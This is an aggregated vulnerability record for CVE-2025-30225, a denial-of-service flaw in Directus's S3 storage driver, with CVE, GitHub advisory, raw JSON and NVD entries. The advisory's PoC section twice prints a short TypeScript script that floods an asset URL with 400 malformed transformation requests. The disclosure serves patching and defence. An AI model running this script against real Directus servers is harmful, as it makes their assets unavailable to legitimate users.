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CVE-2025-30225 (GCVE-0-2025-30225)

Vulnerability from cvelistv5 – Published: 2025-03-26 16:27 – Updated: 2025-03-26 18:04

Title

Directus's S3 assets become unavailable after a burst of malformed transformations

Summary

Directus is a real-time API and App dashboard for managing SQL database content. The `@directus/storage-driver-s3` package starting in version 9.22.0 and prior to version 12.0.1, corresponding to Directus starting in version 9.22.0 and prior to 11.5.0, is vulnerable to asset unavailability after a burst of malformed transformations. When making many malformed transformation requests at once, at some point, all assets are served as 403. This causes denial of assets for all policies of Directus, including Admin and Public. Version 12.0.1 of the `@directus/storage-driver-s3` package, corresponding to version 11.5.0 of Directus, fixes the issue.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

https://github.com/directus/directus/security/adv…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	directus	directus	Affected: >= 9.22.0, < 11.5.0

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GHSA-J8XJ-7JFF-46MX

Vulnerability from github – Published: 2025-03-26 17:19 – Updated: 2025-03-27 03:42

Summary

Directus's S3 assets become unavailable after a burst of malformed transformations

Details

Summary

When making many malformed transformation requests at once, at some point, all assets are being served as 403.

Details

When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to STORAGE_CLOUD_MAX_SOCKETS making it impossible to have new connections causing assets to be inaccessible.

After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz

The timeouts set here had no noticeable effect on tests made.

PoC

This can be easily reproduced with the following steps: - setup AWS S3 storage - set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction) - upload a file to your project - run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}

start();

Here's an example:

https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c

Impact

This causes denial of assets for all policies of Directus, including Admin and Public.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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        "ecosystem": "npm",
        "name": "@directus/storage-driver-s3"
      },
      "ranges": [
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          "events": [
            {
              "introduced": "9.22.0"
            },
            {
              "fixed": "12.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.22.0"
            },
            {
              "fixed": "11.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
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    "CVE-2025-30225"
  ],
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    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-26T17:19:28Z",
    "nvd_published_at": "2025-03-26T17:15:26Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen making many malformed transformation requests at once, at some point, all assets are being served as 403.\n\n### Details\nWhen I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.\n\nAfter looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz`\n\nThe [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.\n\n### PoC\nThis can be easily reproduced with the following steps:\n- setup AWS S3 storage\n- set STORAGE_CLOUD_MAX_SOCKETS: \"50\" (this value is lower than default for easier reproduction)\n- upload a file to your project\n- run this file (Replace the the file ID with the one you just uploaded):\n```ts\nimport axios from \"axios\";\n\nasync function start() {\n  Array.from({ length: 400 }, (_, i) =\u003e {\n    axios\n      .get(\n        \"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100\u0026height=XYZ\"\n      )\n      .then(() =\u003e console.log(\"\u2705\"))\n      .catch((e) =\u003e\n        console.log(\"\u26d4\", e.response?.status || e.code || e.message)\n      );\n  });\n}\n\nstart();\n```\n\nHere\u0027s an example:\n\n\n\nhttps://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c\n\n\n\n\n\n### Impact\nThis causes denial of assets for all policies of Directus, including Admin and Public.",
  "id": "GHSA-j8xj-7jff-46mx",
  "modified": "2025-03-27T03:42:48Z",
  "published": "2025-03-26T17:19:28Z",
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    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30225"
    },
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      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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    }
  ],
  "summary": "Directus\u0027s S3 assets become unavailable after a burst of malformed transformations"
}

FKIE_CVE-2025-30225

Vulnerability from fkie_nvd - Published: 2025-03-26 17:15 - Updated: 2025-11-18 17:44

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	monospace	directus	*

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    },
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Author	Source	Type	Date

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
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CVE-2025-30225 (GCVE-0-2025-30225)

GHSA-J8XJ-7JFF-46MX

Summary

Details

PoC

Impact

FKIE_CVE-2025-30225

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